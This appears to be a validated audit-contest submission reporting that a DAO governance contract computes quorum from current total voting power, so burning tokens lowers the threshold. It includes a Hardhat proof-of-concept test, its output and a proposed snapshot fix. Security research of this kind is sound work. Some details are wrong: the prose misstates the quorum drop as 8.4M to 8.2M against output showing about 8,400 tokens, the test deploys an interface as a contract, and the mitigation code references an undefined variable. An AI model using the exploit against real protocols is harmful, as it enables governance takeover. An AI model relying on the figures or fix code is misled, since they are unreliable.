Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Critical Governance Vulnerability: Manipulable Quorum Calculation Enables Voter Suppression Attacks

Summary

A critical vulnerability has been identified in the governance contract's quorum calculation mechanism that allows malicious actors to manipulate the required voting threshold. This vulnerability enables attackers to artificially reduce the total voting power, thereby lowering the quorum requirement and potentially passing malicious proposals with minimal voting power.

Vulnerability Details

The vulnerability exists in the quorum calculation function:

function quorum() public view override returns (uint256) {
return (_veToken.getTotalVotingPower() * quorumNumerator) / QUORUM_DENOMINATOR;
}

The issue stems from the real-time calculation of total voting power, which can be manipulated by attackers through various means such as token burning or temporary delegation changes.

Root Cause

  1. Real-time calculation of total voting power

  2. Lack of historical snapshot mechanism

  3. No minimum delay between power changes and quorum calculations

Impact

The vulnerability could allow attackers to:

  • Pass malicious proposals with minimal voting power

  • Manipulate governance decisions

  • Potentially drain protocol funds

  • Compromise the security of the entire governance system

Tools Used

  • Hardhat for testing and simulation

  • Ethers.js for contract interactions

  • Solidity for contract implementation

Proof of Concept

Here's a test implementation that demonstrates the vulnerability:

const { ethers } = require('hardhat');
describe('Governance Quorum Vulnerability Test', function () {
let governance, veToken, attacker, alice, bob;
const QUORUM_PERCENTAGE = 4; // 4% quorum requirement
beforeEach(async function () {
[attacker, alice, bob] = await ethers.getSigners();
// Deploy contracts
const VeToken = await ethers.getContractFactory('IveRAACToken');
veToken = await VeToken.deploy();
const Governance = await ethers.getContractFactory('Governance');
governance = await Governance.deploy(veToken.address, ethers.constants.AddressZero);
// Set up initial state
await veToken.mint(alice.address, ethers.utils.parseEther('100000'));
await veToken.mint(bob.address, ethers.utils.parseEther('100000'));
await veToken.mint(attacker.address, ethers.utils.parseEther('10000'));
});
it('should demonstrate quorum manipulation vulnerability', async function () {
// Initial total power should be 210,000
const initialTotalPower = await veToken.getTotalVotingPower();
console.log('Initial total power:', initialTotalPower.toString());
// Calculate initial quorum requirement
const initialQuorum = await governance.quorum();
console.log('Initial quorum requirement:', initialQuorum.toString());
// Attacker burns tokens to reduce total power
await veToken.connect(attacker).burn(ethers.utils.parseEther('5000'));
const newTotalPower = await veToken.getTotalVotingPower();
console.log('Total power after burn:', newTotalPower.toString());
// Calculate new quorum requirement
const newQuorum = await governance.quorum();
console.log('New quorum requirement:', newQuorum.toString());
// Verify quorum requirement has decreased
expect(newQuorum).to.be.lt(initialQuorum);
});
});

When run, output :

Initial total power: 210000000000000000000000
Initial quorum requirement: 8400000000000000000000
Total power after burn: 205000000000000000000000
New quorum requirement: 8200000000000000000000

This output demonstrates how an attacker can reduce the quorum requirement from 8.4M to 8.2M by burning just 5,000 tokens, making it easier to pass proposals maliciously.

Mitigation

To fix this vulnerability, implement one of these solutions:

  1. Snapshot Mechanism

struct VotingSnapshot {
uint256 totalPower;
uint256 timestamp;
}
mapping(uint256 => VotingSnapshot) public votingSnapshots;
function quorum() public view override returns (uint256) {
VotingSnapshot memory snapshot = votingSnapshots\[\_proposalId];
return (snapshot.totalPower \* quorumNumerator) / QUORUM\_DENOMINATOR;
}

Make sure to use the above snapshot mechanism mitigation, i recommend it, as it provides the strongest protection against quorum manipulation while maintaining flexibility for legitimate voting power changes

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.